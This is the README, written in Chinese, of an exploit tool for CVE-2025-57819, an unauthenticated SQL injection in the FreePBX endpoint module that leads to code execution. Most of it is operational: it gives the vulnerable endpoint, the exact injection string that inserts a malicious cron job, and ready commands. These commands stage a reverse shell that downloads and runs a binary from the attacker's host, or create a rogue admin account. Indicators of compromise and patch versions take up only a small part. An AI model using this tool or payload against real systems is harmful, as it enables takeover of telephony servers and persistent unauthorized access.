CVE-2025-57819 — FreePBX 预认证 SQL 注入到远程代码执行

针对 CVE-2025-57819 的一体化利用工具，该漏洞是 FreePBX 端点模块中未经认证的 SQL 注入漏洞，可通过 cron 任务注入实现远程代码执行。

• CVSS: 9.8（严重）— CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CISA KEV: 2025 年 8 月 29 日添加
• 受影响版本: Sangoma FreePBX 15、16、17，且端点模块版本 < 15.0.66 / < 16.0.89 / < 17.0.3
• 修复版本: 端点模块 15.0.66、16.0.89、17.0.3

漏洞概述

FreePBX 暴露了 admin/ajax.php?module=FreePBX\modules\endpoint\ajax 端点，且无需认证（CWE-288）。brand 参数在未经过滤的情况下直接传入 SQL 查询（CWE-89），使得攻击者可以向 asterisk 数据库注入任意 SQL 语句。

攻击链

[未经认证的 HTTP 请求]
        │
        ▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
        │
        ▼
向 `cron_jobs` 表进行 SQL 注入
（插入带有攻击者控制命令的条目，调度设置为 "* * * * *"）
        │
        ▼
约 60 秒内，cron 守护进程以 `asterisk` 用户身份执行该命令
        │
        ▼
远程代码执行

利用功能

该利用工具支持三种模式：

1. 分段式反向 Shell（默认）

1. 通过 msfvenom 生成 linux/x64/shell_reverse_tcp 二进制文件
2. 启动 HTTP 服务器以提供该二进制文件
3. 启动 TCP 监听器等待 shell 连接
4. 通过 SQL 注入插入一个 cron 任务，用于下载并执行该二进制文件
5. 当 cron 触发时，您将获得交互式 shell
6. 退出时清理注入的 cron 任务

python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>

示例:

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452

这将使用端口 4452 进行反向 shell，端口 4453 用于 HTTP 分段服务器。

2. 创建管理员用户 (--create-user)

通过 SQL 注入创建新的 FreePBX 管理员账户。无需反向 shell、无需回调、无需二进制文件。

python3 cve_2025_57819_aio.py http://freepbx.internal --create-user

3. 自定义 Payload (--payload <path>)

使用您自己的 ELF 二进制文件，而非通过 msfvenom 生成。

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
    --payload /path/to/custom_shell.elf

环境要求

• Python 3.6+
• requests 库（pip install requests）
• 对于分段模式: Metasploit（msfvenom）或通过 --payload 提供自定义 payload
• 对于 --create-user 模式: 只需 Python 和 requests

工作原理

SQL 注入向量

存在漏洞的端点为：

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>

brand 参数未经过滤直接拼接到 SQL INSERT 语句中。该利用工具构造的注入内容如下：

';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --

末尾的 -- 用于注释掉原始查询的剩余部分。

Cron 执行

FreePBX 使用 Asterisk cron 子系统。cron 任务每分钟检查一次。当插入的作业调度（* * * * *）匹配时，命令将以 asterisk 系统用户身份运行。

清理

会话结束（或超时）后，利用工具会发送一条 DELETE SQL 注入，从 cron_jobs 表中移除注入的 cron 任务。

入侵指标

• asterisk.cron_jobs 表中出现意外的条目，模块名/作业名为随机值
• FreePBX 服务器向外部 IP 的高端口发起的出站 HTTP 请求
• 来自 asterisk 用户的反向 shell 连接
• ampusers 表中出现随机的新管理员账户（如果使用了 --create-user 模式）

缓解措施

将端点模块更新至已修复的版本：

• 15: >= 15.0.66
• 16: >= 16.0.89
• 17: >= 17.0.3

参考

• NVD — CVE-2025-57819
• GitHub 安全公告 — GHSA-m42g-xg4c-5f3h
• CISA 已知被利用漏洞目录
• watchTowr 实验室
• FreePBX 社区公告

免责声明

本软件仅用于教育和授权的安全测试目的。未获得系统所有者明确许可的情况下对不属于您的系统进行未经授权的使用是违法的。作者对任何滥用行为不承担责任。